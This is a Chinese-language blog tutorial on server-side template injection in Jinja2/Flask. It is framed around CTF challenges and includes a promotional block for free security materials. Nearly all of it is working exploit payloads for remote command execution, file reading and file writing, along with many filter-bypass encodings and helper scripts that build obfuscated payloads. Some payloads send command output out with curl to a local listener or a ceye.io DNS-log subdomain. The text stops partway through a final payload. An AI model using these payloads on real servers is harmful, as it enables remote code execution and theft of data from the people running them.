主頁 >  其他 > SSTI之細說jinja2的常用構造及利用思路

SSTI之細說jinja2的常用構造及利用思路

2023-03-31 07:30:17 其他

現在關于ssti注入的文章數不勝數,但大多數是關于各種命令陳述句的構造陳述句,且沒有根據版本、過濾等具體細分,導致讀者可能有一種千篇一律的感覺,所以最近詳細整理了一些SSTI常用的payload、利用思路以及題目,謹以結合題目分析以及自己的理解給uu們提供一些參考,如有寫錯的地方,還望大佬們輕噴,

在介紹下ssti(服務端模板注入)的具體成因及案例之前,有必要先引入模板引擎的概念,

模板引擎介紹

模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務資料(內容)分離而產生的,它可以生成特定格式的檔案,用于網站的模板引擎就會生成一個標準的HTML檔案, 其不屬于特定技術領域,它是跨領域跨平臺的概念,在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm開發都會用到模板引擎技術,模板引擎也會提供沙箱機制來進行漏洞防范,但是可以用沙箱逃逸技術來進行繞過,

SSTI(服務端模板注入)攻擊

SSTI(server-side template injection)為服務端模板注入攻擊,它主要是由于框架的不規范使用而導致的,主要為python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函式時,由于代碼不規范或信任了用戶輸入而導致了服務端模板注入,模板渲染其實并沒有漏洞,主要是程式員對代碼不規范不嚴謹造成了模板注入漏洞,造成模板可控,注入的原理可以這樣描述:當用戶的輸入資料沒有被合理的處理控制時,就有可能資料插入了程式段中變成了程式的一部分,從而改變了程式的執行邏輯

各框架模板結構如下圖所示:

實體

這里使用python的flask框架測驗ssti注入攻擊的程序,

from flask import Flask, render_template, request, render_template_string
?
app = Flask(__name__)
?
?
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
    template = '''
        <div >
            <h1>This is ssti! %s</h1>
        </div>
    ''' % request.args["x"]
?
    return render_template_string(template)
?
?
if __name__ == '__main__':
    app.debug = True
    app.run()

本地測驗如下:

image-20230323230641731

發現存在模板注入

獲得字串的type實體

?name={{"".__class__}}

image-20230323230702205

這里使用的置換型模板,將字串進行簡單替換,其中引數x的值完全可控,發現模板引擎成功決議,說明模板引擎并不是將我們輸入的值當作字串,而是當作代碼執行了,

{{}}在Jinja2中作為變數包裹識別符號,Jinja2在渲染的時候會把{{}}包裹的內容當做變數決議替換,比如{{1+1}}會被決議成2,如此一來就可以實作如同sql注入一樣的注入漏洞,

以flask的jinja2引擎為例,官方的模板語法如下:

{% ... %} 用于宣告,比如在使用for控制陳述句或者if陳述句時

{{......}} 用于列印到模板輸出的運算式,比如之前傳到到的變數(更準確的叫模板背景關系),例如上文 '1+1' 這個運算式

{# ... #} 用于模板注釋

# ... ## 用于行陳述句,就是對語法的簡化

#...#可以有和{%%}相同的效果

由于引數完全可控,則攻擊者就可以通過精心構造惡意的 Payload 來讓服務器執行任意代碼,造成嚴重危害,下圖通過 SSTI 命令執行成功執行 whoami 命令:

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

image-20230323230716054

可以看到命令被成功執行了,下面講下構造的思路:

一開始是通過class通過 base 拿到object基類,接著利用 subclasses() 獲取對應子類,在全部子類中找到被多載的類即為可用的類,然后通過init去獲取globals全域變數,接著通過builtins獲取eval函式,最后利用popen命令執行、read()讀取即可,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

上述構造及實體沒有涉及到過濾,不需要考慮繞過,所以只是ssti注入中較簡單的一種,但是當某些字符或者關鍵字被過濾時,情況較為復雜,實際上不管對于哪種構造來說,都離不開最基本也是最常用的方法,下面是總結的一些常用到的利用方法和過濾器,

常用的方法

__class__            類的一個內置屬性,表示實體物件的類,
__base__             型別物件的直接基類
__bases__            型別物件的全部基類,以元組形式,型別的實體通常沒有屬性 __bases__
__mro__              查看繼承關系和呼叫順序,回傳元組,此屬性是由類組成的元組,在方法決議期間會基于它來查找基類,
__subclasses__()     回傳這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化類,回傳的型別是function
__globals__          使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數,
__dic__              類的靜態函式、類函式、普通函式、全域變數以及一些內置的屬性都是放在類的__dict__里
__getattribute__()   實體、類、函式都具有的__getattribute__魔術方法,事實上,在實體化的物件進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去呼叫__getattribute__方法,因此我們同樣可以直接通過這個方法來獲取到實體、類、函式的屬性,
__getitem__()        呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__         內建名稱空間,內建名稱空間有許多名字到物件之間映射,而這些名字其實就是內建函式的名稱,物件就是這些內建函式本身.
__import__           動態加載類和函式,也就是匯入模塊,經常用于匯入os模塊,__import__('os').popen('ls').read()]
__str__()            回傳描寫這個物件的字串,可以理解成就是列印出來,
url_for              flask的一個方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app,
get_flashed_messages flask的一個方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app,
lipsum               flask的一個方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模塊:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          應用背景關系,一個全域變數,
config               當前application的所有配置,此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 回傳指定鍵的值,如果值不在字典中回傳default值
dict.setdefault(key, default=None) 和get()類似, 但如果鍵不存在于字典中,將會添加鍵并將值設為default
request              可以用于獲取字串來繞過,包括下面這些,參考一下羽師傅的,
此外,同樣可以獲取open函式:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get傳參
request.values.x1    所有引數
request.cookies      cookies引數
request.headers      請求頭引數
request.form.x1      post傳參 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post傳參 (Content-Type:a/b)
request.json         post傳json  (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //針對jinjia2/flask為[9]適用
或者
[].__class__.__bases__[0]       //其他的類似
__new__功能:用所給類創建一個物件,并且回傳這個物件,
?

常用的過濾器

詳細說明可以參考官方檔案:https://jinja.palletsprojects.com/en/latest/templates/,這里列出一些常用的,有待補充,

?
issubclass(A,B): 判斷A類是否是B類的子類
 
int():將值轉換為int型別;
?
float():將值轉換為float型別;
?
lower():將字串轉換為小寫;
?
upper():將字串轉換為大寫;
?
title():把值中的每個單詞的首字母都轉成大寫;
?
capitalize():把變數值的首字母轉成大寫,其余字母轉小寫;
?
trim():截取字串前面和后面的空白字符;
?
wordcount():計算一個長字串中單詞的個數;
?
reverse():字串反轉;
?
replace(value,old,new): 替換將old替換為new的字串;
?
truncate(value,length=255,killwords=False):截取length長度的字串;
?
striptags():洗掉字串中所有的HTML標簽,如果出現多個空格,將替換成一個空格;
?
escape()或e:轉義字符,會將<、>等符號轉義成HTML中的符號,顯例:content|escape或content|e,
?
safe(): 禁用HTML轉義,如果開啟了全域轉義,那么safe過濾器會將變數關掉轉義,示例: {{'<em>hello</em>'|safe}};
?
list():將變數列成串列;
?
string():將變數轉換成字串;
?
join():將一個序列中的引數值拼接成字串,示例看上面payload;
?
abs():回傳一個數值的絕對值;
?
first():回傳一個序列的第一個元素;
?
last():回傳一個序列的最后一個元素;
?
format(value,arags,*kwargs):格式化字串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!
?
length():回傳一個序列或者字典的長度;
?
sum():回傳串列內數值的和;
?
sort():回傳排序后的串列;
?
default(value,default_value,boolean=false):如果當前變數沒有值,則會使用引數中的值來代替,示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代,boolean=False默認是在只有這個變數為undefined的時候才會使用default中的值,如果想使用python的形式判斷是否為false,則可以傳遞boolean=true,也可以使用or來替換,
?
length()回傳字串的長度,別名是count
?
select() 通過對每個物件應用測驗并僅選擇測驗成功的物件來篩選物件序列,如果沒有指定測驗,則每個物件都將被計算為布林值
可以用來獲取字串
實際使用為
()|select|string
結果如下
<generator object select_or_reject at 0x0000022717FF33C0>

常用的構造陳述句

接著是總結的一些常用的命令執行陳述句,

無過濾

# 讀檔案
#讀取檔案類,<type ‘file’> file位置一般為40,直接呼叫
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
?
?
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 類里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
?
?
#呼叫os的popen執行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3專屬
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
?
?
#呼叫eval函式讀取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
?
?
#呼叫 importlib類
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
?
?
#呼叫linecache函式
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
?
?
#呼叫communicate()函式
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
?
?
#寫檔案
寫檔案的話就直接把上面的構造里的read()換成write()即可,下面舉例利用file類將資料寫入檔案,
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str型別不直接從屬于屬于基類,所以要兩次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
?
?
#通用 getshell
原理就是找到含有 __builtins__ 的類,然后利用,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
?
?

上面這些陳述句也不是說一成不變的隨意套題目,還需要根據是否有過濾、框架是否有該可利用類、python版本高低等進行構造利用鏈,等下面說到利用思路時再結合例題分析,接著總結有過濾的情況,

有過濾

繞過 .

中括號[]繞過

可以利用 [ ]代替 . 的作用,

{{().__class__}} 可以替換為:
{{()["__class__"]}}
舉例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

attr()繞過

使用原生 JinJa2 的 attr() 函式,

image-20230324185512019

{{().__class__}} 可以替換為:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
舉例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

 

繞過單雙引號

request繞過

flask中存在著request內置物件可以得到請求的資訊,request可以用5種不同的方式來請求資訊,我們可以利用他來傳遞引數繞過,

request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一個屬性,為回傳請求的引數,這里把path當作變數名,將后面的路徑傳值進來,進而繞過了引號的過濾,
若args被過濾了,還可以使用values來接受GET或者POST引數,
?
其他方法的例子,可根據題目過濾的東西動態調整方法來進行繞過
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

chr繞過

如果使用GET請求時,+號記得url編碼,要不會被當作空格處理,

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

 

繞過關鍵字

反轉或+號

使用切片將逆置的關鍵字順序輸出,進而達到繞過,

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反轉
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

利用"+"進行字串拼接,繞過關鍵字過濾,

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} 

join拼接

利用join()函式來繞過關鍵字過濾,和使用+號連接大差不差,

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

利用引號繞過

以用 或 的形式來繞過:fl""ag``fl''ag

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

使用str原生函式replace替換

將額外的字符拼接進原本的關鍵字里面,然后利用replace函式將其替換為空,

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

ascii轉換

將每一個字符都轉換為ascii值后再拼接在一起,

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

16進制編碼繞過

我們可以利用對關鍵字編碼的方法,繞過關鍵字過濾,例如用16進制編碼繞過:

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
?
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

base64編碼

對于python2的話,還可以利用base64進行繞過,對于python3沒有decode方法,所以不能使用該方法進行繞過,

"__class__"==("X19jbGFzc19f").decode("base64")
?
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等價于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

unicode編碼

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

Hex編碼

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等價于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

8進制編碼

{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

可見,對于這些編碼進行繞過,就是將是字串的關鍵字進行編碼,然后進行對應解碼即可,rot13等其他編碼也是同理,

利用chr函式

因為我們沒法直接使用chr函式,所以需要通過__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

在jinja2可以使用~進行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

繞過init

可以用__enter____exit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
繞過config

過濾了config,直接用self.dict就能找到里面的config

{{self}} ? <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

 

繞過中括號[ ]

利用 getitem繞過

先用串列演示說明getitem()函式的作用是輸出序列屬性中的某個索引處的元素,

Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{"".__class__.__mro__[2]}  可以替換為:
{{"".__class__.__mro__.__getitem__(2)
?
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等價于
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}

魔術方法中的[]

呼叫魔術方法本來是不用中括號的,但是如果過濾了關鍵字,要進行拼接的話就不可避免要用到中括號,像這里如果同時過濾了class和中括號,可以使用getattribute進行繞過,

object.__getattribute__(self, name)是一個物件方法,當訪問某個物件的屬性時,會無條件的呼叫這個方法,

{{"".__getattribute__("__cla"+"ss__").__base__}}

配合request

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

pop()繞過

{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}}       // 指定序列屬性
?
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典屬性

但是應慎用pop()方法,因為在python中pop()會洗掉相應位置的值,在串列里就是默認輸出最后一個元素并將其洗掉,

 

繞過大括號{{}}

①使用{%%} 裝載一個回圈控制陳述句來繞過:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

②用print進行標記,得到回顯

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 將執行結果外帶出來,不外帶的話執行結果無回顯,

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}

繞過下劃線__

利用request物件繞過

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
?
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
?
等價于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

繞過" ' []

對于多個過濾的話,就在無過濾的基礎上,將過濾的字符用上面各自對應的方法進行逐一替換后在拼接即可,

像這里的過濾了單雙引號及中括號,那就用request方法代替''',用pop方法替換中括號

payload

{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')

繞過 " ' [] _

利用request.cookies.name,接著使用flask自帶的attr

`' '|attr('__class__')`等價于`' '.__class__`

這是一個 過濾器,它只查找屬性,獲取并回傳物件的屬性的值,過濾器與變數用管道符號( )分割,如:attr()``attr()``|

foo|attr("bar")   等同于   foo["bar"]

對于多種符號同時過濾,考慮用|attr( )結合其他方法進行繞過有強大的功能,

lipsum是一個方法,其呼叫__globals__可以直接使用os執行命令

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*

繞過 " ' [] _ os

多過濾了os關鍵字,可以使用request.cookies.a繞過即可,在剛剛繞過 " ' [] _的基礎上在最后的傳引數將os傳入即可達到繞過,payload

{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*

繞過 " ' [] _ os {{ }}

在剛剛的基礎上再多過濾大括號,使用print來標記使其有回顯,payload

?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*

繞過 " ' arg [] _ os {{ }} request

使用~拼接pop組合出的各個字符,最后在拼接在一起達到繞過,payload

{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
?
等價于:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}

或者使用chr

{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~chr(95)~chr(95)~chr(40)~chr(41)~chr(91)~chr(55)~chr(55)~chr(93)~chr(46)~chr(95)~chr(95)~chr(105)~chr(110)~chr(105)~chr(116)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(103)~chr(108)~chr(111)~chr(98)~chr(97)~chr(108)~chr(115)~chr(95)~chr(95)~chr(91)~chr(39)~chr(111)~chr(115)~chr(39)~chr(93)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)~chr(46)~chr(114)~chr(101)~chr(97)~chr(100)~chr(40)~chr(41))%}
?
等價于:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

使用下面的腳本來獲得ascii碼

<?php
?
//使用chr繞過ssti過濾引號
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

繞過 " ' [] _ os {{ }} 數字

數字可以使用全角數字替代,payload

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

將半角數字轉換為全角的腳本如下:

# 繞過ban數字
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
?
while 1:
    s = input("輸入想要的數字")
    for i in s:
        t+=half2full(i)
    print(t)

繞過 " ' arg [] _ os {{ }} 數字 print

使用全角數字和chr進行命令執行,但是結果要使用在線dns外帶,

<?php
?
//使用chr繞過ssti過濾引號
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

將普通數字變成全角的腳本如下:

#正則匹配出字串中的數字,然后回傳全角數字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
for i in re.findall('\d{2,3}',str):
    result+="chr("+half2full(i)+")~"
    print(i)
print(result[:-1])

payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
